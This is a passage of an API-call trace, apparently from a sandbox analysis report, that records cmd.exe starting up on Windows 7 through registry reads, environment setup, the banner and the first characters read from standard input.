RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0xa7c) returned 0x3e9f80 [0042.645] FreeEnvironmentStringsW (penv=0x3e8a60) returned 1 [0042.645] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x25ec48 | out: phkResult=0x25ec48*=0x44) returned 0x0 [0042.645] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x25ec40, lpData=0x25ec60, lpcbData=0x25ec44*=0x1000 | out: lpType=0x25ec40*=0x0, lpData=0x25ec60*=0x18, lpcbData=0x25ec44*=0x1000) returned 0x2 [0042.645] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x25ec40, lpData=0x25ec60, lpcbData=0x25ec44*=0x1000 | out: lpType=0x25ec40*=0x4, lpData=0x25ec60*=0x1, lpcbData=0x25ec44*=0x4) returned 0x0 [0042.645] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x25ec40, lpData=0x25ec60, lpcbData=0x25ec44*=0x1000 | out: lpType=0x25ec40*=0x0, lpData=0x25ec60*=0x1, lpcbData=0x25ec44*=0x1000) returned 0x2 [0042.645] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x25ec40, lpData=0x25ec60, lpcbData=0x25ec44*=0x1000 | out: lpType=0x25ec40*=0x4, lpData=0x25ec60*=0x0, lpcbData=0x25ec44*=0x4) returned 0x0 [0042.645] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x25ec40, lpData=0x25ec60, lpcbData=0x25ec44*=0x1000 | out: lpType=0x25ec40*=0x4, lpData=0x25ec60*=0x40, lpcbData=0x25ec44*=0x4) returned 0x0 [0042.645] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x25ec40, lpData=0x25ec60, lpcbData=0x25ec44*=0x1000 | out: lpType=0x25ec40*=0x4, lpData=0x25ec60*=0x40, lpcbData=0x25ec44*=0x4) returned 0x0 [0042.645] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x25ec40, lpData=0x25ec60, lpcbData=0x25ec44*=0x1000 | out: lpType=0x25ec40*=0x0, lpData=0x25ec60*=0x40, lpcbData=0x25ec44*=0x1000) returned 0x2 [0042.645] RegCloseKey (hKey=0x44) returned 0x0 [0042.646] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x25ec48 | out: phkResult=0x25ec48*=0x44) returned 0x0 [0042.646] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x25ec40, lpData=0x25ec60, lpcbData=0x25ec44*=0x1000 | out: lpType=0x25ec40*=0x0, lpData=0x25ec60*=0x40, lpcbData=0x25ec44*=0x1000) returned 0x2 [0042.646] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x25ec40, lpData=0x25ec60, lpcbData=0x25ec44*=0x1000 | out: lpType=0x25ec40*=0x4, lpData=0x25ec60*=0x1, lpcbData=0x25ec44*=0x4) returned 0x0 [0042.646] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x25ec40, lpData=0x25ec60, lpcbData=0x25ec44*=0x1000 | out: lpType=0x25ec40*=0x0, lpData=0x25ec60*=0x1, lpcbData=0x25ec44*=0x1000) returned 0x2 [0042.646] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x25ec40, lpData=0x25ec60, lpcbData=0x25ec44*=0x1000 | out: lpType=0x25ec40*=0x4, lpData=0x25ec60*=0x0, lpcbData=0x25ec44*=0x4) returned 0x0 [0042.646] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x25ec40, lpData=0x25ec60, lpcbData=0x25ec44*=0x1000 | out: lpType=0x25ec40*=0x4, lpData=0x25ec60*=0x9, lpcbData=0x25ec44*=0x4) returned 0x0 [0042.646] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x25ec40, lpData=0x25ec60, lpcbData=0x25ec44*=0x1000 | out: lpType=0x25ec40*=0x4, lpData=0x25ec60*=0x9, lpcbData=0x25ec44*=0x4) returned 0x0 [0042.646] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x25ec40, lpData=0x25ec60, lpcbData=0x25ec44*=0x1000 | out: lpType=0x25ec40*=0x0, lpData=0x25ec60*=0x9, lpcbData=0x25ec44*=0x1000) returned 0x2 [0042.646] RegCloseKey (hKey=0x44) returned 0x0 [0042.646] time (in: timer=0x0 | out: timer=0x0) returned 0x5dc48d06 [0042.646] srand (_Seed=0x5dc48d06) [0042.646] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0042.646] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0042.646] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a0ac0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0042.646] GetProcessHeap () returned 0x3d0000 [0042.646] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x218) returned 0x3eaa10 [0042.646] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3eaa20, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0042.646] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a09f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0042.647] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a09f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0042.647] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a09f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0042.647] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0042.647] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0042.647] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0042.647] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0042.647] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0042.647] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0042.647] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0042.647] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0042.647] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0042.647] GetProcessHeap () returned 0x3d0000 [0042.647] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e94f0 | out: hHeap=0x3d0000) returned 1 [0042.647] GetEnvironmentStringsW () returned 0x3e8a60* [0042.647] GetProcessHeap () returned 0x3d0000 [0042.647] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0xa94) returned 0x3eac30 [0042.647] FreeEnvironmentStringsW (penv=0x3e8a60) returned 1 [0042.647] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a09f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0042.647] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a09f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0042.647] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0042.647] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0042.647] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0042.647] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0042.647] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0042.647] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0042.647] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0042.647] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0042.647] GetProcessHeap () returned 0x3d0000 [0042.647] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x5c) returned 0x3eb6d0 [0042.647] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x25fa50 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0042.648] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x25fa50, lpFilePart=0x25fa30 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x25fa30*="Desktop") returned 0x25 [0042.648] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0042.648] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x25f760 | out: lpFindFileData=0x25f760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Users", cAlternateFileName="")) returned 0x3eb740 [0042.648] FindClose (in: hFindFile=0x3eb740 | out: hFindFile=0x3eb740) returned 1 [0042.648] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x25f760 | out: lpFindFileData=0x25f760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x3eb740 [0042.648] FindClose (in: hFindFile=0x3eb740 | out: hFindFile=0x3eb740) returned 1 [0042.648] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0042.648] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x25f760 | out: lpFindFileData=0x25f760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x8e4e5fe0, ftLastAccessTime.dwHighDateTime=0x1d595b2, ftLastWriteTime.dwLowDateTime=0x8e4e5fe0, ftLastWriteTime.dwHighDateTime=0x1d595b2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Desktop", cAlternateFileName="")) returned 0x3eb740 [0042.648] FindClose (in: hFindFile=0x3eb740 | out: hFindFile=0x3eb740) returned 1 [0042.648] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0042.648] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0042.648] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0042.648] GetProcessHeap () returned 0x3d0000 [0042.648] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3eac30 | out: hHeap=0x3d0000) returned 1 [0042.648] GetEnvironmentStringsW () returned 0x3eb740* [0042.649] GetProcessHeap () returned 0x3d0000 [0042.649] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0xae8) returned 0x3ec230 [0042.649] FreeEnvironmentStringsW (penv=0x3eb740) returned 1 [0042.649] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a0ac0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0042.649] GetProcessHeap () returned 0x3d0000 [0042.649] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3eb6d0 | out: hHeap=0x3d0000) returned 1 [0042.649] GetProcessHeap () returned 0x3d0000 [0042.649] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x4016) returned 0x3ecd20 [0042.649] GetProcessHeap () returned 0x3d0000 [0042.649] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ecd20 | out: hHeap=0x3d0000) returned 1 [0042.649] GetConsoleOutputCP () returned 0x1b5 [0042.649] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a0abfe0 | out: lpCPInfo=0x4a0abfe0) returned 1 [0042.649] GetUserDefaultLCID () returned 0x409 [0042.650] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a0a7b50, cchData=8 | out: lpLCData=":") returned 2 [0042.650] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x25fb60, cchData=128 | out: lpLCData="0") returned 2 [0042.650] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x25fb60, cchData=128 | out: lpLCData="0") returned 2 [0042.650] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x25fb60, cchData=128 | out: lpLCData="1") returned 2 [0042.650] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a0ba740, cchData=8 | out: lpLCData="/") returned 2 [0042.650] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a0ba4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0042.650] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a0ba460, cchData=32 | out: lpLCData="Tue") returned 4 [0042.650] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a0ba420, cchData=32 | out: lpLCData="Wed") returned 4 [0042.650] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a0ba3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0042.650] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a0ba3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0042.650] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a0ba360, cchData=32 | out: lpLCData="Sat") returned 4 [0042.650] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a0ba700, cchData=32 | out: lpLCData="Sun") returned 4 [0042.650] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a0a7b40, cchData=8 | out: lpLCData=".") returned 2 [0042.650] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a0ba4e0, cchData=8 | out: lpLCData=",") returned 2 [0042.650] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0042.651] GetProcessHeap () returned 0x3d0000 [0042.651] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x20c) returned 0x3e95c0 [0042.651] GetConsoleTitleW (in: lpConsoleTitle=0x3e95c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0042.651] _get_osfhandle (_FileHandle=1) returned 0xf4 [0042.651] GetFileType (hFile=0xf4) returned 0x3 [0042.651] BrandingFormatString () returned 0x3e97e0 [0042.656] GetVersion () returned 0x1db10106 [0042.656] _vsnwprintf (in: _Buffer=0x25fcd0, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x25fc68 | out: _Buffer="6.1.7601") returned 8 [0042.656] _get_osfhandle (_FileHandle=1) returned 0xf4 [0042.656] GetFileType (hFile=0xf4) returned 0x3 [0042.656] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a0b6340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0042.656] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a0b6340, nSize=0x2000, Arguments=0x25fc70 | out: lpBuffer="Microsoft Windows [Version 6.1.7601]") returned 0x24 [0042.656] _get_osfhandle (_FileHandle=1) returned 0xf4 [0042.656] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 6.1.7601]", cchWideChar=-1, lpMultiByteStr=0x4a0ac320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 6.1.7601]", lpUsedDefaultChar=0x0) returned 37 [0042.657] WriteFile (in: hFile=0xf4, lpBuffer=0x4a0ac320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x25fbf8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesWritten=0x25fbf8*=0x24, lpOverlapped=0x0) returned 1 [0042.657] _vsnwprintf (in: _Buffer=0x4a0b6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x25fc98 | out: _Buffer="\r\n") returned 2 [0042.657] _get_osfhandle (_FileHandle=1) returned 0xf4 [0042.657] GetFileType (hFile=0xf4) returned 0x3 [0042.657] _get_osfhandle (_FileHandle=1) returned 0xf4 [0042.657] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ac320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0042.657] WriteFile (in: hFile=0xf4, lpBuffer=0x4a0ac320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x25fc68, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesWritten=0x25fc68*=0x2, lpOverlapped=0x0) returned 1 [0042.657] _vsnwprintf (in: _Buffer=0x4a0b6340, _BufferCount=0x1fff, _Format="%s", _ArgList=0x25fc98 | out: _Buffer="Copyright (c) 2009 Microsoft Corporation. All rights reserved.") returned 63 [0042.657] _get_osfhandle (_FileHandle=1) returned 0xf4 [0042.657] GetFileType (hFile=0xf4) returned 0x3 [0042.657] _get_osfhandle (_FileHandle=1) returned 0xf4 [0042.657] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x4a0ac320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 64 [0042.657] WriteFile (in: hFile=0xf4, lpBuffer=0x4a0ac320*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x25fc68, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesWritten=0x25fc68*=0x3f, lpOverlapped=0x0) returned 1 [0042.657] _vsnwprintf (in: _Buffer=0x4a0b6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x25fc98 | out: _Buffer="\r\n") returned 2 [0042.657] _get_osfhandle (_FileHandle=1) returned 0xf4 [0042.657] GetFileType (hFile=0xf4) returned 0x3 [0042.657] _get_osfhandle (_FileHandle=1) returned 0xf4 [0042.657] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ac320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0042.657] WriteFile (in: hFile=0xf4, lpBuffer=0x4a0ac320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x25fc68, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesWritten=0x25fc68*=0x2, lpOverlapped=0x0) returned 1 [0042.657] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e30000 [0042.658] GetProcAddress (hModule=0x76e30000, lpProcName="CopyFileExW") returned 0x76e423d0 [0042.658] GetProcAddress (hModule=0x76e30000, lpProcName="IsDebuggerPresent") returned 0x76e38290 [0042.658] GetProcAddress (hModule=0x76e30000, lpProcName="SetConsoleInputExeNameW") returned 0x76e417e0 [0042.658] _get_osfhandle (_FileHandle=0) returned 0xe8 [0042.658] GetFileType (hFile=0xe8) returned 0x3 [0042.658] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0042.658] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x25fac0 | out: TokenHandle=0x25fac0*=0x0) returned 0xc000007c [0042.658] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x25fac0 | out: TokenHandle=0x25fac0*=0x50) returned 0x0 [0042.658] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x12, TokenInformation=0x25fad0, TokenInformationLength=0x4, ReturnLength=0x25fad8 | out: TokenInformation=0x25fad0, ReturnLength=0x25fad8) returned 0x0 [0042.658] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x1a, TokenInformation=0x25fad8, TokenInformationLength=0x4, ReturnLength=0x25fad0 | out: TokenInformation=0x25fad8, ReturnLength=0x25fad0) returned 0x0 [0042.658] NtClose (Handle=0x50) returned 0x0 [0042.658] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x25faa0, nSize=0x0, Arguments=0x25faa8 | out: lpBuffer="韠>") returned 0xf [0042.658] GetProcessHeap () returned 0x3d0000 [0042.658] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x218) returned 0x3d1ab0 [0042.658] GetConsoleTitleW (in: lpConsoleTitle=0x25faf0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0042.661] wcsstr (_Str="C:\\Windows\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0042.661] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0042.662] GetProcessHeap () returned 0x3d0000 [0042.662] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d1ab0 | out: hHeap=0x3d0000) returned 1 [0042.662] LocalFree (hMem=0x3e97e0) returned 0x0 [0042.662] GetProcessHeap () returned 0x3d0000 [0042.662] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3eaa10 | out: hHeap=0x3d0000) returned 1 [0042.662] _vsnwprintf (in: _Buffer=0x4a0b6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x25f7d8 | out: _Buffer="\r\n") returned 2 [0042.662] _get_osfhandle (_FileHandle=1) returned 0xf4 [0042.662] GetFileType (hFile=0xf4) returned 0x3 [0042.662] _get_osfhandle (_FileHandle=1) returned 0xf4 [0042.662] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ac320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0042.662] WriteFile (in: hFile=0xf4, lpBuffer=0x4a0ac320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x25f7a8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesWritten=0x25f7a8*=0x2, lpOverlapped=0x0) returned 1 [0042.662] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a09f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0042.662] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a0ac0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0042.662] _vsnwprintf (in: _Buffer=0x4a09eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x25f7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0042.662] _vsnwprintf (in: _Buffer=0x4a09ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x25f7e8 | out: _Buffer=">") returned 1 [0042.662] _get_osfhandle (_FileHandle=1) returned 0xf4 [0042.663] GetFileType (hFile=0xf4) returned 0x3 [0042.663] _get_osfhandle (_FileHandle=1) returned 0xf4 [0042.663] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a0ac320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0042.663] WriteFile (in: hFile=0xf4, lpBuffer=0x4a0ac320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x25f7d8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesWritten=0x25f7d8*=0x26, lpOverlapped=0x0) returned 1 [0042.663] _get_osfhandle (_FileHandle=0) returned 0xe8 [0042.663] GetFileType (hFile=0xe8) returned 0x3 [0042.663] _get_osfhandle (_FileHandle=0) returned 0xe8 [0042.663] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0042.663] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0042.663] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae320, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0042.664] _get_osfhandle (_FileHandle=0) returned 0xe8 [0042.664] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0042.664] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0042.664] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae322, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0042.664] _get_osfhandle (_FileHandle=0) returned 0xe8 [0042.664] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0042.664] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0042.664] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae324, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0042.664] _get_osfhandle (_FileHandle=0) returned 0xe8 [0042.664] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0042.664] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0042.664] MultiByteToWideChar (in: 